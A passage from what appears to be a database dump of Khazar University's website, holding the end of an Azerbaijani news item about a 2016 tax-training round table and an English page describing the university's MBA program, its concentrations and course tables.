digər daxilolmaların vaxtında...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabrın 7-də Dövlətin vergi siyasətinin həyata keçirilməsinin,\r\ndövlət büdcəsinə vergilərin və digər daxilolmaların vaxtında və tam yığılmasının\r\ntəmin edilməsi istiqamətində fəaliyyətin səmərəliliyinin artırılması, vergi sahəsində\r\nkadırların hazırlanması və s. həyata keçirilməli tədbirlər barədə müzakirələrin\r\naparılması məqsədilə Vergilər Nazirliyinin Şamaxı rayonunda yerləşən Tədris Mərkəzində\r\n“Vergi sahəsində kadır hazırlığı: problemlər və prespektivlər” mövzusunda dəyirmi\r\nmasa keçirilmişdir. Tədbirdə Xəzər Universitetinin professoru Fuat Rəsulov da\r\niştirak etmişdir.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Fuat Rəsulovun “Maliyyə-vergi sahəsində kadr hazırlığı prosesində nəzəriyyə\r\nilə praktikanın əlaqələndirilməsi” mövzusunda çıxışı həm təşkilatçılar, həm də\r\niştirakçılar tərəfindən yüksək qiymətləndirilmişdir.</p>'),(574,374,'en','Graduate Programs','Graduate Programs','<div><br></div><div><p>Master of Business Administration (MBA) Program</p><p>The MBA program develops general management abilities and provides ad­vanced knowledge and skills in various areas of business activities depending on concentrations and majors. Professionals with MBA degree demonstrate significant competitive advantages in all types of organizations. The qualifications gained by the program graduates are crucial to become a leader in the business community.</p><p>At the highest level of business qualifications, Khazar University MBA prog­ram offers an intensive management development path. The skills and knowledge developed in the MBA program are applicable to all forms of organization and are useful both to professional managers and to those with entrepreneurial ambitions.</p><p>The Khazar University MBA program was developed through close coope­ration with Western business schools. To strengthen their instructional skills, almost all SEM faculty members have had in-service training and faculty development at leading European and US universities.</p><p>The university’s strong academic and prof</p><p>It is due to this background that the Khazar University MBA program enables the faculty and students to explore business problems from a multidisciplinary perspective that emphasizes interpersonal skills and teamwork, develops leadership and entrepreneurial talents, increases global awareness and improves technological knowledge.</p><p>&nbsp;</p><p>Program outline</p><p>The full-time MBA program runs over a two year period, with a variety of teaching and learning methods being used - a combination of lectures, seminars, case studies, discussions, business simulations and group activities. For assessment, the program considers a combination of formal assignments, group presentations and written examinations, together with a major project.</p><p>Part-time enrollment is designed for students who cannot enroll on a full-time basis. To be eligible for the part-time enrolment students must earn in each semester at least six credits. Part-time students can opt to enroll in full-time MBA classes when available.</p><p>Experienced MBA students are provided with the opportunity to use their previous employment experience and relate this to the program material.</p><p>The key advantage of the program is that the class schedule accommodates students with full-time employment.</p><p>&nbsp;</p><p>Degree Requirements</p><p>The Khazar University MBA Program students must follow the general master-level degree requirements described at Khazar University Catalog.</p><p>The Program duration is two years.</p><p>&nbsp;Program Curriculum</p><p>&nbsp;A. Basic Prerequisites</p><p>&nbsp;Foundation courses</p><p>&nbsp;</p><p>These are optional make-up courses for students without business or economic background or students who decided to strengthen their background.</p><p>&nbsp;*&nbsp;Statistics</p><p>&nbsp;*&nbsp;Economics</p><p>Students, admitted to the program temporarily, during the first semester must complete the foundation courses.</p><p>The School offers six MBA degree options: the MBA with specialization in Finance, Accounting, Management, International Business, Energy Management, the general MBA and dual degree program in Energy Management and Sustainable Development (since 2009 jointly with IPAG- Institut de Préparation à l’Administration et à la Gestion).</p><p>The MBA specialization in Finance is designed to provide graduates with advanced knowledge and skills in fields of corporate and international finance, financial markets, institutions and policy needed to successfully function as financial managers in competitive financial environment.</p><p>The MBA specialization in Accounting is designed to furnish graduates with advanced analytical and technical skills needed to find professional accounting positions in business and public organizations and to design, prepare, use, and audit accounting information.</p><p>The MBA specialization in Management is designed to provide graduates with advanced knowledge and skills needed to perform the role of manager and leader in various functional areas of business.</p><p>The MBA specialization in International Business provides graduates with professional and cultural knowledge and functional skills needed to successfully perform the role of managers in global business environment.</p><p>The MBA specialization in Energy Management is designed to furnish graduates with core business intelligence, knowledge in field of energy management, advanced analytical and technical skills needed to successfully perform the role of managers in energy and energy-related businesses.</p><p>The general MBA provides students with core business knowledge and at the same time allows them to design a concentration according to their job expectations and area of interest.</p><p>&nbsp;</p><br><br><table><tbody><tr><td width=\"31%\"><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CODE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p></td><td width=\"56%\"><p>&nbsp;&nbsp;COURSES</p></td><td width=\"12%\"><p>&nbsp;&nbsp;CREDITS</p></td></tr><tr><td width=\"31%\"><p>Core Courses</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>ACC 801</p></td><td width=\"56%\"><p>&nbsp;Financial&nbsp;Accounting</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>MGT 800</p></td><td width=\"56%\"><p>&nbsp;Applied&nbsp;Business&nbsp;Statistics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>MGT 830</p></td><td width=\"56%\"><p>&nbsp;Financial Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>ECON 830</p></td><td width=\"56%\"><p>&nbsp;Managerial&nbsp;Economics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>ACC 840</p></td><td width=\"56%\"><p>&nbsp;Management&nbsp;and&nbsp;Cost&nbsp;Accounting</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>MKT 840</p></td><td width=\"56%\"><p>&nbsp;Marketing&nbsp;Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>MGT 860</p></td><td width=\"56%\"><p>&nbsp;Strategic&nbsp;Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>Finance</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>Concentration Courses</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following courses</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 850</p></td><td width=\"56%\"><p>&nbsp;Financial Markets and Institutions</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 851</p></td><td width=\"56%\"><p>&nbsp;Investment Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 855</p></td><td width=\"56%\"><p>&nbsp;Taxation</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 870</p></td><td width=\"56%\"><p>&nbsp;Financial Risk Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 880</p></td><td width=\"56%\"><p>&nbsp;Financial Reporting and Analysis</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 890</p></td><td width=\"56%\"><p>&nbsp;Advanced Corporate Finance</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 860</p></td><td width=\"56%\"><p>&nbsp;Accounting Information Systems</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 885</p></td><td width=\"56%\"><p>&nbsp;Financial Statements Analysis</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 835</p></td><td width=\"56%\"><p>&nbsp;Bank Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 900</p></td><td width=\"56%\"><p>&nbsp;Accounting, Finance and Law</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Quantitative Research Methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Accounting</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following courses</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 810</p></td><td width=\"56%\"><p>&nbsp;Auditing</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 855</p></td><td width=\"56%\"><p>&nbsp;Taxation</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 860</p></td><td width=\"56%\"><p>&nbsp;Accounting Information Systems</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 870</p></td><td width=\"56%\"><p>&nbsp;International Accounting Practices</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 880</p></td><td width=\"56%\"><p>&nbsp;Advanced Accounting Topics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 880</p></td><td width=\"56%\"><p>&nbsp;Financial Reporting and Analysis</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 830</p></td><td width=\"56%\"><p>&nbsp;Financial Risk Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 840</p></td><td width=\"56%\"><p>&nbsp;Financial Management and Policy</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 900</p></td><td width=\"56%\"><p>&nbsp;Accounting, Finance and Law</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Management</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following courses</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 820</p></td><td width=\"56%\"><p>&nbsp;International Business</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 825</p></td><td width=\"56%\"><p>&nbsp;Management and Cross National Environment</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 835</p></td><td width=\"56%\"><p>&nbsp;Entrepreneurship and Enterprise</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 845</p></td><td width=\"56%\"><p>&nbsp;Human Resource Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 848</p></td><td width=\"56%\"><p>&nbsp;Leadership, Power and Politics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 865</p></td><td width=\"56%\"><p>&nbsp;Organizational Development and Change</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 890</p></td><td width=\"56%\"><p>&nbsp;Global Supply Chain Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 830</p></td><td width=\"56%\"><p>&nbsp;Financial Risk Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 840</p></td><td width=\"56%\"><p>&nbsp;Financial Management and Policy</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 828</p></td><td width=\"56%\"><p>&nbsp;İnternational Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>3</p></td></tr></tbody></table><br><br><p>&nbsp;</p><p>&nbsp;</p><br><br><table><tbody><tr><td colspan=\"2\" width=\"87%\"><p>&nbsp;International&nbsp;Business&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 810</p></td><td width=\"56%\"><p>&nbsp;Comparative Business Systems</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;LAW 810</p></td><td width=\"56%\"><p>&nbsp;International Business Law</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 820</p></td><td width=\"56%\"><p>&nbsp;International Business</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 825</p></td><td width=\"56%\"><p>&nbsp;International Business Environment</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 828</p></td><td width=\"56%\"><p>&nbsp;International Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 850</p></td><td width=\"56%\"><p>&nbsp;International Marketing</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 890</p></td><td width=\"56%\"><p>&nbsp;Global Supply Chain Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 850</p></td><td width=\"56%\"><p>&nbsp;Marketing Research</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 850</p></td><td width=\"56%\"><p>&nbsp;Financial Markets and Institutions</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Energy Management</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 810</p></td><td width=\"56%\"><p>&nbsp;Energy Economics</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 815</p></td><td width=\"56%\"><p>&nbsp;Energy Geopolitics and Global Energy Security</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 820</p></td><td width=\"56%\"><p>&nbsp;Environmental Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 822</p></td><td width=\"56%\"><p>&nbsp;Renewable Energy</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 825</p></td><td width=\"56%\"><p>&nbsp;Energy Resources Management</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 830</p></td><td width=\"56%\"><p>&nbsp;Energy Technology and Environment</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 805</p></td><td width=\"56%\"><p>&nbsp;Oil, Gas and Petrochemical Industries</p></td><td width=\"12%\"><p>3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 851</p></td><td width=\"56%\"><p>&nbsp;Investment Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 880</p></td><td width=\"56%\"><p>&nbsp;International Economics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 825</p></td><td width=\"56%\"><p>&nbsp;Management and Cross National Environment</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Quantitative Research Methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Banking</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 835</p></td><td width=\"56%\"><p>&nbsp;Bank Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 850</p></td><td width=\"56%\"><p>&nbsp;Financial Markets and Institutions</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 830</p></td><td width=\"56%\"><p>&nbsp;Financial Risk Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 878</p></td><td width=\"56%\"><p>&nbsp;Commercial and Investment Banking</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 885</p></td><td width=\"56%\"><p>&nbsp;Financial Statements Analysis</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 877</p></td><td width=\"56%\"><p>&nbsp;Portfolio Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 875</p></td><td width=\"56%\"><p>&nbsp;Behavioral Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 855</p></td><td width=\"56%\"><p>&nbsp;Taxation</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 900</p></td><td width=\"56%\"><p>&nbsp;Accounting, Finance and Law</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Research Methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>World EconomyInternational Economic Relations</p></td><td width=\"56%\"><p>Choose five classes from concentration courses or electives</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MKT 849</p></td><td width=\"56%\"><p>&nbsp;International Marketing</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 844</p></td><td width=\"56%\"><p>&nbsp;International Trade</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 895</p></td><td width=\"56%\"><p>&nbsp;International Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 880</p></td><td width=\"56%\"><p>&nbsp;International Economics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 820</p></td><td width=\"56%\"><p>&nbsp;International Business</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;IB 845</p></td><td width=\"56%\"><p>&nbsp;International Economic Development</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 890</p></td><td width=\"56%\"><p>&nbsp;Economic Development and Migration Processes</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 900</p></td><td width=\"56%\"><p>&nbsp;International Economics and Migration</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 895</p></td><td width=\"56%\"><p>&nbsp;Introduction to Migration Studies</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Master Thesis</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 850</p></td><td width=\"56%\"><p>&nbsp;Financial Markets and Institutions</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 851</p></td><td width=\"56%\"><p>&nbsp;Investment Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 830</p></td><td width=\"56%\"><p>&nbsp;Organizational Behavior</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;EMGT 850</p></td><td width=\"56%\"><p>&nbsp;Operations Management and Logistics</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 810</p></td><td width=\"56%\"><p>&nbsp;Strategic Business Communication</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;Research Methods</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 920</p></td><td width=\"56%\"><p>&nbsp;Economics of Natural Resources</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 900</p></td><td width=\"56%\"><p>&nbsp;Accounting, Finance and Law</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ECON 950</p></td><td width=\"56%\"><p>&nbsp;Regular and irregular migration, trafficking and smuggling</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;MGT 845</p></td><td width=\"56%\"><p>&nbsp;Globalization and Human Resource Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;</p></td><td width=\"56%\"><p>&nbsp;</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>Accounting and Audit&nbsp;in Service Industry</p></td><td width=\"56%\"><p>&nbsp;Requires five of the following classes</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 810</p></td><td width=\"56%\"><p>&nbsp;Auditing</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 855</p></td><td width=\"56%\"><p>&nbsp;Taxation</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 860</p></td><td width=\"56%\"><p>&nbsp;Accounting Information Systems</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 870</p></td><td width=\"56%\"><p>&nbsp;International Accounting Practices</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 880</p></td><td width=\"56%\"><p>&nbsp;Advanced Accounting Topics in Service Industry</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 880</p></td><td width=\"56%\"><p>&nbsp;Financial Reporting and Analysis</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;ACC 855</p></td><td width=\"56%\"><p>&nbsp;Accounting in Service Industry</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;Major Electives</p></td><td width=\"56%\"><p>&nbsp;Three major electives can be chosen</p></td><td width=\"12%\"><p>&nbsp;</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 845</p></td><td width=\"56%\"><p>&nbsp;International Finance</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 830</p></td><td width=\"56%\"><p>&nbsp;Financial Risk Management</p></td><td width=\"12%\"><p>&nbsp;3</p></td></tr><tr><td width=\"31%\"><p>&nbsp;FIN 